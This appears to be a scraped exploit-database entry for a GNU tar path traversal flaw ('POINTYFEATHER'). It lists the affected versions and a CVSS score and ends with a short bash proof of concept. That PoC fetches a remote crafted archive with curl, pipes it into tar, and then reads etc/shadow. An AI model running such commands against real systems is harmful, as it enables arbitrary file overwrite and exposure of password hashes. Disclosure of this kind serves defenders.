Exploit for GNU tar（POINTYFEATHER） decompression path bypass vulnerability

seebug · 2016-11-07

Description

GNU tar path bypass vulnerability allows files to be extracted in any destination, potentially leading to system compromis

Parameteretc/motd · path

Pathsintonen.fi/advisories/tar-poc.tar

Path traversal bypass in tar extraction via safer_name_suffix causing extraction to write to arbitrary files.

Gnu Tar= 1.14, 1.15, 1.15.1, 1.15.90, 1.15.91, 1.16, 1.16.1, 1.17, 1.18, 1.19, 1.20, 1.21, 1.22, 1.23, 1.24, 1.25, 1.26, 1.27, 1.27.1, 1.28, 1.29

5.0

MEDIUM SEVERITY

VectorAV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:PARTIAL/A:NONE/

15.2%higher than 96.3% of all CVEs

Updated 2026-06-16

Modified:2016-11-07 00:00

Last Seen:2017-11-19 12:02

Reporter:Root

bash3 lines

## https://sploitus.com/exploit?id=SSV:92524
$ curl https://sintonen.fi/advisories/tar-poc.tar | tar xv etc/motd
$ cat etc/shadow